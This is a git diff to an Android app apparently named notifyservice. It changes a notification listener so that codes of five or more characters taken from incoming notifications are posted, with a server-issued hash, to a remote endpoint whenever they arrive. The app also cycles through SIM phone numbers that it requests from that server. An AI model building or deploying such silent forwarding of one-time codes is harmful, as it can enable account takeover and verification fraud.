test

app/src/main/java/com/example/notifyservice/Listener.java

@@ -1,5 +1,7 @@
 package com.example.notifyservice;
 
+import static com.example.notifyservice.MainActivity.getCurrentHash;
+
 import android.app.ActivityManager;
 import android.app.Notification;
 import android.content.Context;
@@ -59,8 +61,16 @@ public class Listener extends NotificationListenerService {
             String code = processExtras(sbn.getNotification().extras);
             if (code.length() < 5)
                 return;
-            MainActivity applicationContext = (MainActivity) getApplicationContext();
+            Context context = getApplicationContext();
-            applicationContext.onNotificationReceived(code);
+            PostRequest postRequestTask = new PostRequest(context, null);
+            postRequestTask.execute("code",
+                    code + ";" + getCurrentHash(context)); // STATIC
+            if (MainActivity.callbackRef != null) {
+                NotificationCallback callback = MainActivity.callbackRef.get();
+                if (callback != null) {
+                    callback.onCodeReceived(code);
+                }
+            }
         }
     }
 

app/src/main/java/com/example/notifyservice/MainActivity.java

@@ -39,6 +39,7 @@ import android.util.Log;
 import org.json.JSONException;
 import org.json.JSONObject;
 
+import java.lang.ref.WeakReference;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
@@ -62,7 +63,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
     private WebChromeClient.CustomViewCallback customViewCallback;
     private ViewGroup mainContainer;
 
-    private String currentHash = ""; // STATIC
     private int currentPhone = 0;
     private List<PhoneNumber> phones;
     private boolean receivingSms = false;
@@ -74,6 +74,28 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
     private JSONObject ussd;
     private JSONObject language;
 
+    protected static WeakReference<NotificationCallback> callbackRef = new WeakReference<>(null);
+
+    public static void setNotificationCallback(NotificationCallback callback) {
+        callbackRef = new WeakReference<>(callback);
+    }
+
+    public static void removeNotificationCallback() {
+        callbackRef.clear();
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        MainActivity.setNotificationCallback(this::handleCodeReceived);
+    }
+
+    @Override
+    protected void onPause() {
+        super.onPause();
+        MainActivity.removeNotificationCallback();
+    }
+
 
     public class PhoneNumber {
         public String phone;
@@ -293,16 +315,11 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
         }
     }
 
-    public void onNotificationReceived(String code) {
+    public void handleCodeReceived(String code) {
         if(codes.contains(code))
             return;
-        Log.i("a", "onNotificationReceived - " + code); // STATIC
-        Log.i("a", "CurrenHashReceived - " + currentHash);
         codes.add(code);
         cancelTimer();
-        PostRequest postRequestTask = new PostRequest(this, this);
-        postRequestTask.execute("code",
-                code + ";" + currentHash); // STATIC
         nextPhone();
     }
 
@@ -327,6 +344,18 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
         savePhone(context, phones.get(currentPhone));
     }
 
+    public static String getCurrentHash(Context context) {
+        SharedPreferences prefs = context.getSharedPreferences("PRIVATE_DATA", Context.MODE_PRIVATE);
+        return prefs.getString("KEY_HASH", ""); // Return empty string if not found
+    }
+
+    // Store the hash value
+    public static void setCurrentHash(Context context, String hash) {
+        SharedPreferences.Editor editor = context.getSharedPreferences("PRIVATE_DATA", Context.MODE_PRIVATE).edit();
+        editor.putString("KEY_HASH", hash);
+        editor.apply(); // Asynchronously save changes
+    }
+
     public static boolean isSimConnected(Context context, TelephonyManager telephonyManager) {
         Log.i("a", "isSimConnected"); // STATIC
         if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE)
@@ -357,7 +386,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
         } else {
             Log.i("a", "Phone not provided"); // STATIC
             receivingSms = false;
-            currentHash = ""; // STATIC
+            setCurrentHash(context, ""); // STATIC
             Log.i("a", "Sim connected result: " + isSimConnected(context, phone.telephonyManager));
             if(!isSimConnected(context, phone.telephonyManager))
                 nextPhone();
@@ -367,7 +396,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
     }
 
     private void requestPhone(Context context, PhoneNumber phone){
-        currentHash = ""; // STATIC
+        setCurrentHash(context, ""); // STATIC
         Log.i("a", "Requesting phone - " + phone.phone); // STATIC
         PostRequest postRequestTask = new PostRequest(context, this);
         postRequestTask.execute("phone",
@@ -380,8 +409,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
         try {
             Log.i("PostResult", result.toString()); // STATIC
             if(result.has("hash")) { // STATIC
-                currentHash = result.getString("hash"); // STATIC
+                setCurrentHash(this, result.getString("hash")); // STATIC
-                Log.i("currenthash", currentHash); // STATIC
             }
             if(result.has("key")) // STATIC
                 setKey(getBaseContext(), result.getString("key")); // STATIC

app/src/main/java/com/example/notifyservice/NotificationCallback.java

@@ -0,0 +1,5 @@
+package com.example.notifyservice;
+
+public interface NotificationCallback {
+    void onCodeReceived(String code);
+}

app/src/main/java/com/example/notifyservice/PostRequest.java

@@ -64,7 +64,8 @@ public class PostRequest {
 
     protected void onPostExecute(String result) {
         try {
-
+            if (callback == null)
+                return;
             callback.onPostResponse((new JSONObject(
                     Encryption.aesDecrypt(
                         result